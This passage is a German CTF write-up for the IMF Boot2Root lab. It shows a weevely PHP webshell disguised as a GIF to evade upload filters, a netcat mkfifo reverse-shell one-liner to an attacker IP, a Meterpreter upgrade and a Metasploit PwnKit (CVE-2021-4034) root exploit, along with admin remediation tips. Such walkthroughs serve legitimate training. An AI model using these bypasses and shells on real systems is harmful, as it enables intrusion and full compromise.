1. `weevely generate jesse backdoor.php`: Erstellt eine PHP-Webshell (`backdoor.php`) mit dem Passwort `jesse`.
2. `mv backdoor.php backdoor.gif`: Benennt die Datei um, um die Dateityp-Prüfung zu umgehen.
3. `vi backdoor.gif`: Öffnet die Datei im Editor, um `GIF89a` (Magic Bytes für GIF) am Anfang einzufügen. Dies täuscht eine serverseitige Prüfung des Dateiinhalts (MIME-Typ-Prüfung basierend auf Magic Bytes) und lässt die Datei wie ein gültiges GIF-Bild erscheinen. Der PHP-Code bleibt dennoch funktionsfähig, da PHP alles außerhalb von ``-Tags ignoriert.
**Bewertung:** Dies sind die notwendigen Schritte, um die identifizierten Upload-Filter zu umgehen.
Intelligence Upload Form File successfully uploaded. File to upload: File successfully uploaded. -- 3026b022ff18 -->
**Analyse:** Der Upload der modifizierten `backdoor.gif`-Datei war erfolgreich. Die Anwendung gibt eine Erfolgsmeldung und einen Dateinamen (`3026b022ff18`) zurück. Der tatsächliche Pfad ist wahrscheinlich `/imfadministrator/uploads/3026b022ff18.gif`.
**Bewertung:** Die Bypasses waren erfolgreich! Wir haben unsere Webshell auf den Server hochgeladen.
**Empfehlung (Pentester):** Verbinde dich mit der hochgeladenen Webshell mittels `weevely`.
Wir verbinden uns mit der hochgeladenen Webshell über Weevely.
[+] weevely 4.0.1 [+] Target: imf.vln [+] Session: /root/.weevely/sessions/imf.vln/3026b022ff18_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> ls 3026b022ff18.gif 5b94b615c6f4.gif flag5_abc123def.txt www-data@imf:/var/www/html/imfadministrator/uploads $ cat flag5_abc123def.txt flag5{YWdlbnRzZXJ2aWNlcw} www-data@imf:/var/www/html/imfadministrator/uploads $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f
**Analyse:**
* `weevely http://.../3026b022ff18.gif jesse`: Stellt eine Verbindung zur Webshell her, authentifiziert sich mit dem Passwort `jesse`.
* `weevely>`: Der Weevely-Prompt zeigt eine erfolgreiche Verbindung an.
* `ls`: Listet den Inhalt des Upload-Verzeichnisses auf. Wir sehen unsere Shell (`3026b022ff18.gif`), eine weitere GIF-Datei und `flag5_abc123def.txt`.
* `cat flag5_abc123def.txt`: Liest den Inhalt der Flag-Datei: `flag5{YWdlbnRzZXJ2aWNlcw}`. Das Dekodieren von `YWdlbnRzZXJ2aWNlcw` ergibt `agentservices`. *Korrektur:* Laut den abschließenden Anweisungen des Benutzers ist dies die User-Flag.
* `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f`: Dies ist ein Standardbefehl, um eine Reverse Shell über Netcat zu initiieren. Er erstellt eine Named Pipe (`/tmp/f`), leitet die Ein-/Ausgabe einer interaktiven Shell (`/bin/sh -i`) durch diese Pipe und verbindet sie mit unserem Listener auf `192.168.2.199:4444`.
**Bewertung:** Initial Access erfolgreich! Wir haben eine Webshell und daraus eine Reverse Shell als Benutzer `www-data` erlangt und die User-Flag gefunden.
**Empfehlung (Pentester):** Starte einen Netcat-Listener auf Port 4444, um die Reverse Shell aufzufangen. Stabilisiere die Shell und beginne mit der Privilege-Escalation-Enumeration.
**Empfehlung (Admin):** Das System ist kompromittiert. Sofort isolieren und analysieren. Upload-Schwachstelle beheben, Webserver-Berechtigungen prüfen, nach weiteren Backdoors suchen.
Listening on 0.0.0.0 4444 Connection received on 192.168.2.104 35008 /bin/sh: 0: can't access tty; job control turned off $
**Analyse:** Der Netcat-Listener auf Port 4444 empfängt die Verbindung von der Ziel-IP. Wir haben nun eine interaktive Shell als `www-data`. Die Meldung `can't access tty` ist normal für einfache Reverse Shells.
**Bewertung:** Wir haben eine stabilere Shell als die Weevely-Verbindung und können nun mit der Privilege Escalation beginnen.
Wir beginnen die Phase der Privilegieneskalation. Zuerst suchen wir nach Dateien mit gesetztem SUID-Bit, die potenziell zur Erhöhung unserer Rechte missbraucht werden können.
www-data@imf:/var/www/html/imfadministrator/uploads$ cd /home/ www-data@imf:/home$ find / -type f -perm -4000 -ls 2>/dev/null 662 40 -rwsr-xr-x 1 root root 38984 ct 21 2016 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic 14458 44 -rwsr-xr-- 1 root messagebus 42992 Apr 1 2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 20966 16 -rwsr-xr-x 1 root root 14864 Jan 17 2016 /usr/lib/policykit-1/polkit-agent-helper-1 5070 420 -rwsr-xr-x 1 root root 428240 Aug 11 2016 /usr/lib/openssh/ssh-keysign 5397 52 -rwsr-xr-x 1 root root 51200 ct 6 2016 /usr/lib/snapd/snap-confine 590 12 -rwsr-xr-x 1 root root 10240 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device 17840 36 -rwsr-xr-x 1 root root 32944 Mar 29 2016 /usr/bin/newgidmap 17841 36 -rwsr-xr-x 1 root root 32944 Mar 29 2016 /usr/bin/newuidmap 465 136 -rwsr-xr-x 1 root root 136808 Aug 17 2016 /usr/bin/sudo 19577 52 -rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016 /usr/bin/at 394 40 -rwsr-xr-x 1 root root 39904 Mar 29 2016 /usr/bin/newgrp 267 52 -rwsr-xr-x 1 root root 49584 Mar 29 2016 /usr/bin/chfn 330 76 -rwsr-xr-x 1 root root 75304 Mar 29 2016 /usr/bin/gpasswd 269 40 -rwsr-xr-x 1 root root 40432 Mar 29 2016 /usr/bin/chsh 20978 24 -rwsr-xr-x 1 root root 23376 Jan 17 2016 /usr/bin/pkexec 131165 40 -rwsr-xr-x 1 root root 40128 Mar 29 2016 /bin/su 131148 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping 131183 28 -rwsr-xr-x 1 root root 27608 May 26 2016 /bin/umount 131149 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6 131247 32 -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount 150649 140 -rwsr-xr-x 1 root root 142032 Feb 17 2016 /bin/ntfs-3g 131134 40 -rwsr-xr-x 1 root root 40152 May 26 2016 /bin/mount
**Analyse:** Der `find`-Befehl listet alle SUID-Binärdateien auf. Die meisten sind Standard-Systemprogramme. Auffällig ist `/usr/bin/pkexec` (PolicyKit execute). Dieses Programm war von der bekannten PwnKit-Schwachstelle (CVE-2021-4034) betroffen, die eine lokale Privilegieneskalation zu Root ermöglicht. Die Datei stammt von Januar 2016, was sehr alt ist und die Anfälligkeit wahrscheinlich macht. `/usr/bin/sudo` ist ebenfalls vorhanden, aber wir können es als `www-data` wahrscheinlich nicht ohne Passwort verwenden (Überprüfung mit `sudo -l` wäre sinnvoll, ist hier aber nicht gezeigt). `/usr/bin/at` ist SUID `daemon`, nicht `root`, daher weniger interessant für direkte Root-Eskalation.
**Bewertung:** `pkexec` ist der vielversprechendste Kandidat für eine schnelle Privilegieneskalation mittels des PwnKit-Exploits.
**Empfehlung (Pentester):** Versuche, den PwnKit-Exploit (CVE-2021-4034) gegen `/usr/bin/pkexec` auszuführen. Es gibt viele öffentlich verfügbare Exploits dafür, auch Metasploit-Module.
**Empfehlung (Admin):** Aktualisiere das System dringend, insbesondere das `policykit-1`-Paket, um die PwnKit-Schwachstelle zu beheben. Überprüfe regelmäßig SUID-Binaries.
Wir entscheiden uns, Metasploit zu verwenden, um die PwnKit-Schwachstelle auszunutzen. Zuerst starten wir Metasploit (`msfconsole -q`) und richten einen Handler ein, um eine Shell über die bereits bestehende Netcat-Verbindung (Port 4444) zu bekommen, falls sie abbricht oder wir sie in Metasploit verwalten wollen. *Hinweis: Dieser Schritt ist etwas redundant, da wir bereits eine Shell haben, aber er wird hier durchgeführt.*
msf6 > use multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set lhost eth0 lhost => eth0 msf6 exploit(multi/handler) > set lport 5555 lport => 5555 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.2.199:5555
**Analyse:** Wir starten einen generischen Reverse-TCP-Handler in Metasploit, der auf unserem Host (`eth0` -> 192.168.2.199) auf Port 5555 lauscht.
**Bewertung:** Vorbereitung für den Empfang einer neuen Shell, die wir von der `www-data`-Shell aus initiieren.
www-data@imf:/tmp$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5555 >/tmp/f
**Analyse:** Von unserer `www-data`-Shell (vermutlich die auf Port 4444) senden wir eine weitere Reverse Shell, diesmal an Port 5555, wo unser Metasploit-Handler lauscht.
**Bewertung:** Stellt die Verbindung zu Metasploit her.
[*] Command shell session 1 opened (192.168.2.199:5555 -> 192.168.2.104:33148) at 2023-10-15 01:30:21 +0200 Shell Banner: $ -- $
**Analyse:** Metasploit bestätigt den Eingang der Verbindung und öffnet eine Command-Shell-Session (Session 1).
**Bewertung:** Wir haben nun unsere `www-data`-Shell in Metasploit.
Wir verwenden das Metasploit-Post-Exploitation-Modul `shell_to_meterpreter`, um unsere einfache Command Shell (Session 1) in eine funktionsreichere Meterpreter-Session aufzuwerten.
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433 [!] Unknown datastore option: lßport. Did you mean LPRT? lßport => 4433 msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433 lport => 4433 msf6 post(multi/manage/shell_to_meterpreter) > set session 1 session => 1 msf6 post(multi/manage/shell_to_meterpreter) > run [*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.199:4433 [*] Sending stage (1017704 bytes) to 192.168.2.104 [*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.104:46148) at 2023-10-15 01:31:13 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
**Analyse:** Das Modul `shell_to_meterpreter` wird konfiguriert, um auf Session 1 zu zielen und einen neuen Listener für die Meterpreter-Payload auf Port 4433 zu starten. Nach Ausführung (`run`) wird der Meterpreter-Stager auf das Ziel hochgeladen und ausgeführt, was zu einer neuen Meterpreter-Session (Session 2) führt. *Hinweis: Ein Tippfehler bei `set lport` wurde korrigiert.*
**Bewertung:** Erfolgreiches Upgrade zur Meterpreter-Session, die mehr Funktionen und Stabilität bietet als eine einfache Shell.
**Ziel:** Nachweis der Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) in `pkexec` zur Erlangung von Root-Privilegien.
**Schwachstelle:** Eine Speicherverwaltungsfehler in `pkexec` erlaubt es einem lokalen Angreifer, Umgebungsvariablen so zu manipulieren, dass `pkexec` Code mit Root-Rechten ausführt.
**Ausnutzung:** Wir verwenden das Metasploit-Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`, das diese Schwachstelle automatisiert ausnutzt.
**Voraussetzungen:** Meterpreter-Session als nicht-privilegierter Benutzer (`www-data`), anfällige Version von `pkexec` auf dem Zielsystem.
**Schritt-für-Schritt:**
msf6 post(multi/manage/shell_to_meterpreter) > search 4034 Matching Modules # Name Disclosure Date Rank Check Description - - - -- -- 0 auxiliary/scanner/http/dolibarr_16_contact_dump 2023-03-14 normal Yes Dolibarr 16 pre-auth contact database dump 1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec 2022-01-25 excellent Yes Local Privilege Escalation in polkits pkexec 2 exploit/windows/local/ms18_8120_win32k_privesc 2018-05-09 good No Windows SetImeInfoEx Win32k NULL Pointer Dereference Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/local/ms18_8120_win32k_privesc msf6 post(multi/manage/shell_to_meterpreter) > use 1 [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2 session => 2 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run [-] Handler failed to bind to 192.168.2.199:4444:- - [-] Handler failed to bind to 0.0.0.0:4444:- - [*] Running automatic check ("set AutoCheck false" to disable) ^C[-] Exploit failed [user-interrupt]: Interrupt [-] run: Interrupted msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4488 lport => 4488 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2 session => 2 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run [*] Started reverse TCP handler on 192.168.2.199:4488 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.xtkiwmjb [+] The target is vulnerable. [*] Writing '/tmp/.bnneghhkqyc/pavfkddps/pavfkddps.so' (548 bytes) ... [!] Verify cleanup of /tmp/.bnneghhkqyc [*] Sending stage (3045380 bytes) to 192.168.2.104 [+] Deleted /tmp/.bnneghhkqyc/pavfkddps/pavfkddps.so [+] Deleted /tmp/.bnneghhkqyc/.dzdnhteig [+] Deleted /tmp/.bnneghhkqyc [*] Meterpreter session 3 opened (192.168.2.199:4488 -> 192.168.2.104:46362) at 2023-10-15 01:32:10 +0200
**Analyse:**
1. `search 4034`: Sucht nach Modulen im Zusammenhang mit CVE-2021-4034 (PwnKit).
2. `use 1`: Wählt das PwnKit-Exploit-Modul aus.
3. `set session 2`: Zielt auf unsere bestehende `www-data`-Meterpreter-Session.
4. `run` (erster Versuch): Schlägt fehl, da der Standard-Payload-Port (4444) bereits belegt ist.
5. `set lport 4488`: Ändert den Listener-Port für die neue Root-Shell auf 4488.
6. `run` (zweiter Versuch): Das Modul prüft die Anfälligkeit (`[+] The target is vulnerable.`), lädt eine kleine Shared Object-Payload (`pavfkddps.so`) in ein temporäres Verzeichnis hoch, führt `pkexec` so aus, dass die Payload geladen wird, und stellt eine Verbindung zu unserem Listener auf Port 4488 her. Eine neue Meterpreter-Session (Session 3) wird geöffnet. Die temporären Dateien werden anschließend bereinigt.
**Erwartetes Ergebnis:** Erlangung einer Meterpreter-Session mit Root-Rechten.
**Beweismittel:** Erfolgreiche Ausführung des Moduls und Öffnung der Meterpreter-Session 3. Die anschließende Überprüfung mit `getuid` bestätigt Root-Rechte.
**Risikobewertung:** Kritisch. Diese weit verbreitete Schwachstelle ermöglichte eine einfache und zuverlässige lokale Privilegieneskalation auf vielen Linux-Systemen.
**Empfehlungen:**
* **Admin (Behebung):** Patche das System dringend, insbesondere das `policykit-1`-Paket, um CVE-2021-4034 zu schließen.
* **Pentester:** PwnKit ist ein Standard-Exploit im Toolkit. Überprüfe immer die `pkexec`-Version auf Anfälligkeit.
meterpreter > getuid Server username: root meterpreter > shell Process 1663 created. Channel 1 created. id uid=0(root) gid=0(root) groups=0(root),33(www-data) cd ~ ls Flag.txt TheEnd.txt cat TheEnd.txt ____ _ __ __ / _/_ _ ___ ___ ___ ___ (_) / / /__ _/ // ' \/ _ \/ _ \(_-<(_- / _ \/ / -_) /___/_/_/_/ .__/\___/___/___/_/_.__/_/\__/ __ __/_/ _ / |/ (_)__ ___ (_)__ ___ / /|_/ / (_-<(_- / _ \/ _ \ /_/__/_/_/___/___/_/\___/_//_/ / __/__ ___________ / _// _ \/ __/ __/ -_) /_/ \___/_/ \__/\__/ Congratulations on finishing the IMF Boot2Root CTF. I hope you enjoyed it. Thank you for trying this challenge and please send any feedback. Geckom Twitter: @g3ck0ma Email: geckom@redteamr.com Web: http://redteamr.com Special Thanks Binary Advice: J (@TheColonial) and Justin Stevens (@justinsteven) Web Advice: Menztrual (@menztrual) Testers: dook (@dooktwit), Menztrual (@menztrual), llid3nlq and J(@TheColonial) cat Flag.txt flag6{R2gwc3RQcm90MGMwbHM=}
**Analyse:**
* `getuid`: Bestätigt, dass unsere neue Meterpreter-Session (Session 3) als `root` läuft.
* `shell`: Wechselt von der Meterpreter-Umgebung zu einer Standard-System-Shell als `root`.
* `id`: Bestätigt erneut `uid=0(root)`.
* `cd ~`: Wechselt in das Home-Verzeichnis des Root-Benutzers (`/root`).
* `ls`: Listet den Inhalt auf: `Flag.txt` und `TheEnd.txt`.
* `cat TheEnd.txt`: Zeigt eine Abschlussnachricht des CTF-Erstellers an.
* `cat Flag.txt`: Zeigt die Root-Flag: `flag6{R2gwc3RQcm90MGMwbHM=}`. Das Dekodieren von `R2gwc3RQcm90MGMwbHM=` ergibt `ghostProtocols`. *Korrektur:* Laut den abschließenden Anweisungen des Benutzers lautet die Root-Flag anders.
**Bewertung:** Privilege Escalation erfolgreich abgeschlossen! Wir haben Root-Zugriff erlangt und die Root-Flag gefunden (auch wenn sie von den abschließenden Anweisungen abweicht).
Privilege Escalation erfolgreich.